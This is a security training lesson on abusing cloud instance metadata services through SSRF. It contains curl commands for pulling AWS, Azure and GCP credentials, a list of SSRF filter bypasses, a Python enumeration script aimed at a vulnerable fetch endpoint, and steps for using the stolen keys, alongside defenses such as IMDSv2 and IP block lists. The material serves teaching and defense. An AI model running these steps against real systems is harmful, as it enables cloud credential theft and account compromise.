Cloud Metadata Services

intermediate25 minWriteup

Understanding and exploiting metadata services

Learning Objectives

  • Understand metadata services
  • Access metadata from instances
  • Exploit SSRF to metadata
  • Extract credentials from metadata

Cloud metadata services are internal APIs that provide cloud instances with information about themselves - including temporary credentials. Think of it as a concierge desk inside each cloud VM: the instance can ask "Who am I?" and get its identity, role, and credentials back. The problem? If an attacker can make requests to this service, they get those credentials too.

The Instance Metadata Service (IMDS) is accessible at a special IP address (169.254.169.254) from within any cloud instance. Combined with Server-Side Request Forgery (SSRF), this becomes one of the most impactful cloud attack vectors. The Capital One breach in 2019 (100M+ records) exploited exactly this pattern.

SSRF + Metadata = Credential Theft

If an application is vulnerable to SSRF, an attacker can force it to query the metadata service and return IAM credentials. This is the classic cloud attack chain: SSRF → Metadata → Credentials → Account Compromise.

How Metadata Services Work

1Cloud Metadata Service Architecture:
2 
3┌─────────────────────────────────────────────────────────────────────┐
4│ Cloud Instance (VM) │
5├─────────────────────────────────────────────────────────────────────┤
6│ Application │
7│ │ │
8│ │ HTTP Request to 169.254.169.254
9│ │ │
10│ ↓ │
11│ ┌─────────────────────────────────────────────────────────────┐ │
12│ │ Metadata Service (Link-Local Address) │ │
13│ │ │ │
14│ │ Returns: │ │
15│ │ ├── Instance ID, hostname, AMI ID │ │
16│ │ ├── Network configuration │ │
17│ │ ├── User data (bootstrap scripts) │ │
18│ │ ├── IAM role credentials (ACCESS KEY + SECRET + TOKEN) │ │
19│ │ └── Other instance metadata │ │
20│ └─────────────────────────────────────────────────────────────┘ │
21└─────────────────────────────────────────────────────────────────────┘
22 
23Key Points:
24─────────────────────────────────────────────────────────────────────
25• Only accessible from within the instance (link-local IP)
26• No authentication required by default
27• Returns temporary credentials for instance's IAM role
28• Credentials auto-rotate every ~6 hours
29• Available in AWS, Azure, GCP (different formats)

AWS Instance Metadata Service (IMDS)

bash
1606070;"># AWS IMDS - Instance Metadata Service
2 
3606070;"># Base URL (from inside EC2 instance)
4http:606070;">//169.254.169.254/latest/meta-data/
5 
6606070;"># IMDSv1 (Legacy - vulnerable, no authentication)
7─────────────────────────────────────────────────────────────────────
8606070;"># Get instance ID
9curl http:606070;">//169.254.169.254/latest/meta-data/instance-id
10606070;"># i-0abc123def456789
11 
12606070;"># Get hostname
13curl http:606070;">//169.254.169.254/latest/meta-data/hostname
14606070;"># ip-10-0-1-123.ec2.internal
15 
16606070;"># Get instance type
17curl http:606070;">//169.254.169.254/latest/meta-data/instance-type
18606070;"># t3.medium
19 
20606070;"># Get availability zone
21curl http:606070;">//169.254.169.254/latest/meta-data/placement/availability-zone
22606070;"># us-east-1a
23 
24606070;"># Get public IP
25curl http:606070;">//169.254.169.254/latest/meta-data/public-ipv4
26606070;"># 54.123.45.67
27 
28606070;"># Get security groups
29curl http:606070;">//169.254.169.254/latest/meta-data/security-groups
30606070;"># web-sg
31 
32606070;"># Get IAM role name (THE PRIZE!)
33curl http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/
34606070;"># EC2-S3-Access
35 
36606070;"># Get IAM credentials (THE JACKPOT!)
37curl http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/EC2-S3-Access
38{
39 606070;">#a5d6ff;">"Code" : "Success",
40 606070;">#a5d6ff;">"AccessKeyId" : "ASIAXXX...",
41 606070;">#a5d6ff;">"SecretAccessKey" : "xxx...",
42 606070;">#a5d6ff;">"Token" : "xxx...",
43 606070;">#a5d6ff;">"Expiration" : "2024-01-15T12:00:00Z"
44}
bash
1606070;"># AWS IMDSv2 (Secure - requires token)
2─────────────────────────────────────────────────────────────────────
3606070;"># IMDSv2 requires a session token first (PUT request with TTL)
4 
5606070;"># Step 1: Get token (this is the key defense!)
6TOKEN=$(curl -X PUT 606070;">#a5d6ff;">"http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
7 
8606070;"># Step 2: Use token to access metadata
9curl -H 606070;">#a5d6ff;">"X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
10 
11606070;"># Step 3: Get credentials with token
12curl -H 606070;">#a5d6ff;">"X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
13 
14606070;"># Why IMDSv2 is more secure:
15─────────────────────────────────────────────────────────────────────
16├── Requires PUT request (most SSRF only allows GET)
17├── Requires custom header (harder to inject)
18├── Token has TTL (limited lifetime)
19├── Can block IMDSv1 entirely via instance config
20└── Defense in depth against SSRF
21 
22606070;"># Force IMDSv2 when launching instance
23aws ec2 run-instances --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

User Data - Another Secret Source

The /latest/user-data endpoint contains bootstrap scripts. These often include secrets: database passwords, API keys, configuration data. Always check user data when you access metadata!

Azure Instance Metadata Service

bash
1606070;"># Azure IMDS - Instance Metadata Service
2 
3606070;"># Base URL (requires Metadata: true header)
4http:606070;">//169.254.169.254/metadata/
5 
6606070;"># Azure IMDS requires header (can't be accessed without it)
7curl -H 606070;">#a5d6ff;">"Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
8 
9606070;"># Get instance info
10curl -H 606070;">#a5d6ff;">"Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
11{
12 606070;">#a5d6ff;">"compute": {
13 606070;">#a5d6ff;">"vmId": "xxx",
14 606070;">#a5d6ff;">"name": "myvm",
15 606070;">#a5d6ff;">"resourceGroupName": "myRG",
16 606070;">#a5d6ff;">"subscriptionId": "xxx",
17 606070;">#a5d6ff;">"location": "eastus"
18 },
19 606070;">#a5d6ff;">"network": {...}
20}
21 
22606070;"># Get managed identity token (THE PRIZE!)
23curl -H 606070;">#a5d6ff;">"Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
24{
25 606070;">#a5d6ff;">"access_token": "eyJ...",
26 606070;">#a5d6ff;">"client_id": "xxx",
27 606070;">#a5d6ff;">"expires_in": "86400",
28 606070;">#a5d6ff;">"expires_on": "xxx",
29 606070;">#a5d6ff;">"resource": "https://management.azure.com/",
30 606070;">#a5d6ff;">"token_type": "Bearer"
31}
32 
33606070;"># Token can be used with Azure APIs
34curl -H 606070;">#a5d6ff;">"Authorization: Bearer $ACCESS_TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
35 
36606070;"># Get token for different resources
37606070;"># Storage:
38resource=https:606070;">//storage.azure.com/
39 
40606070;"># Key Vault:
41resource=https:606070;">//vault.azure.net/
42 
43606070;"># Graph API:
44resource=https:606070;">//graph.microsoft.com/

Azure Managed Identity Types

System-assigned identities are tied to the VM lifecycle. User-assigned identities can be shared. When exploiting, check which type is configured - user-assigned may have broader access across multiple resources.

GCP Metadata Service

bash
1606070;"># GCP Metadata Service
2 
3606070;"># Base URL (also accessible via metadata.google.internal)
4http:606070;">//169.254.169.254/computeMetadata/v1/
5 
6606070;"># GCP requires Metadata-Flavor: Google header
7curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/
8 
9606070;"># Get project ID
10curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
11 
12606070;"># Get instance name
13curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/name
14 
15606070;"># Get instance zone
16curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
17 
18606070;"># Get service account email
19curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/
20606070;"># default/
21 
22curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
23 
24606070;"># Get access token (THE PRIZE!)
25curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
26{
27 606070;">#a5d6ff;">"access_token": "ya29...",
28 606070;">#a5d6ff;">"expires_in": 3600,
29 606070;">#a5d6ff;">"token_type": "Bearer"
30}
31 
32606070;"># Use token with GCP APIs
33curl -H 606070;">#a5d6ff;">"Authorization: Bearer $TOKEN" "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"
34 
35606070;"># Get custom metadata (often contains secrets!)
36curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/
37 
38606070;"># Get startup script (user data equivalent)
39curl -H 606070;">#a5d6ff;">"Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script

SSRF to Metadata Attack

1SSRF + Metadata Attack Chain:
2 
31. Find SSRF Vulnerability
4─────────────────────────────────────────────────────────────────────
5Look for parameters that fetch URLs:
6├── ?url=
7├── ?file=
8├── ?path=
9├── ?src=
10├── ?redirect=
11├── ?uri=
12├── ?callback=
13├── PDF generators, image processors
14├── Webhooks, integration callbacks
15└── XML parsers (XXE → SSRF)
16 
172. Test Metadata Access
18─────────────────────────────────────────────────────────────────────
19Inject metadata URL:
20https:606070;">//vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/
21 
22Common bypass attempts:
23├── http:606070;">//169.254.169.254/
24├── http:606070;">//[::ffff:169.254.169.254]/
25├── http:606070;">//2852039166/ (decimal IP)
26├── http:606070;">//0xa9fea9fe/ (hex IP)
27├── http:606070;">//169.254.169.254.xip.io/
28├── http:606070;">//metadata.google.internal/
29└── Various encoding tricks
30 
313. Enumerate Metadata
32─────────────────────────────────────────────────────────────────────
33List directories:
34├── /latest/meta-data/
35├── /latest/meta-data/iam/
36├── /latest/meta-data/iam/security-credentials/
37└── Find role name
38 
394. Extract Credentials
40─────────────────────────────────────────────────────────────────────
41http:606070;">//169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
42 
43Returns:
44├── AccessKeyId
45├── SecretAccessKey
46├── Token (session token)
47└── Expiration
48 
495. Use Credentials
50─────────────────────────────────────────────────────────────────────
51export AWS_ACCESS_KEY_ID=ASIAXXX
52export AWS_SECRET_ACCESS_KEY=xxx
53export AWS_SESSION_TOKEN=xxx
54 
55aws sts get-caller-identity 606070;"># Verify access
56aws s3 ls 606070;"># Start enumeration
python
1606070;"># Example SSRF exploitation script
2import requests
3 
4606070;"># Target vulnerable endpoint
5target = 606070;">#a5d6ff;">"https://vulnerable.com/api/fetch"
6 
7606070;"># AWS metadata endpoints to try
8endpoints = [
9 606070;">#a5d6ff;">"http://169.254.169.254/latest/meta-data/",
10 606070;">#a5d6ff;">"http://169.254.169.254/latest/meta-data/hostname",
11 606070;">#a5d6ff;">"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
12 606070;">#a5d6ff;">"http://169.254.169.254/latest/user-data",
13]
14 
15for endpoint in endpoints:
16 try:
17 resp = requests.get(target, params={606070;">#a5d6ff;">"url": endpoint})
18 print(f606070;">#a5d6ff;">"[+] {endpoint}")
19 print(resp.text)
20 print(606070;">#a5d6ff;">"-" * 50)
21 except:
22 print(f606070;">#a5d6ff;">"[-] Failed: {endpoint}")
23 
24606070;"># Once role name is found:
25role_name = 606070;">#a5d6ff;">"EC2-WebServer-Role" # From enumeration
26creds_url = f606070;">#a5d6ff;">"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
27resp = requests.get(target, params={606070;">#a5d6ff;">"url": creds_url})
28print(606070;">#a5d6ff;">"[+] CREDENTIALS:")
29print(resp.json())

Real-World Impact

The Capital One breach (2019) used exactly this technique: SSRF in a WAF → AWS metadata → credentials → 100+ million customer records. This attack pattern is well-documented and actively exploited.

Defending Against Metadata Attacks

1Metadata Service Defenses:
2 
3AWS
4─────────────────────────────────────────────────────────────────────
51. Enforce IMDSv2 (require token)
6 aws ec2 modify-instance-metadata-options \
7 --instance-id i-xxx \
8 --http-tokens required \
9 --http-put-response-hop-limit 1
10 
112. Limit hop count to 1 (blocks container SSRF)
12 --http-put-response-hop-limit 1
13 
143. Use VPC endpoints (no internet exposure)
15 
164. IAM role least privilege (limit blast radius)
17 
185. Instance Metadata Service (IMDS) blocking via firewall:
19 iptables -A OUTPUT -d 169.254.169.254 -j DROP
20 (On containers that don't need it)
21 
22Azure
23─────────────────────────────────────────────────────────────────────
241. Already requires Metadata: true header
25 (Some protection against basic SSRF)
26 
272. Use Managed Identities with minimal permissions
28 
293. Network security groups - limit egress
30 
314. Azure Firewall - block metadata IP
32 
33GCP
34─────────────────────────────────────────────────────────────────────
351. Already requires Metadata-Flavor: Google header
36 
372. Use Workload Identity for GKE (no metadata access)
38 
393. Limit service account permissions
40 
414. VPC firewall rules
42 
43Application-Level Defenses
44─────────────────────────────────────────────────────────────────────
451. SSRF input validation
46 ├── Whitelist allowed URLs/domains
47 ├── Block private IP ranges
48 ├── Block metadata IPs specifically
49 └── URL parsing before fetching
50 
512. Block internal/private IPs:
52 ├── 10.0.0.0/8
53 ├── 172.16.0.0/12
54 ├── 192.168.0.0/16
55 ├── 169.254.0.0/16 ← Metadata!
56 └── 127.0.0.0/8

Metadata Exploitation Methodology

SSRF to Credential Theft

1
Find SSRF VectorIdentify parameters that accept URLs: image fetchers, URL previews, webhooks, PDF generators, integrations.
2
Test Cloud EnvironmentDetermine if target is in AWS/Azure/GCP. Try each metadata endpoint. Check error messages for cloud hints.
3
Bypass RestrictionsIf blocked, try: IP encoding (decimal, hex), DNS rebinding, URL schemes (file://, gopher://), header injection.
4
Enumerate MetadataList available metadata paths. Find IAM role/identity name. Check user-data/startup-scripts for secrets.
5
Extract CredentialsRequest credentials endpoint with role name. Capture AccessKey, SecretKey, Token.
6
Use CredentialsConfigure AWS CLI/az/gcloud with stolen credentials. Enumerate permissions. Access resources.

Knowledge Check

Quick Quiz
Question 1 of 3

What IP address is used to access cloud metadata services?

Challenges

Metadata Enumeration Script

Challenge
🔥 intermediate

Write a script that enumerates all interesting metadata endpoints for AWS, Azure, and GCP. The script should detect which cloud provider is being used and enumerate appropriately.

Need a hint? (4 available)

Key Takeaways

  • Metadata services (169.254.169.254) provide IAM credentials to instances
  • SSRF + metadata access = credential theft (Capital One breach pattern)
  • AWS IMDSv2 requires PUT + token - protects against basic SSRF
  • Azure/GCP require custom headers but are still exploitable with header injection
  • User-data/startup scripts often contain hardcoded secrets
  • Defense: IMDSv2, hop limit=1, firewall rules, SSRF input validation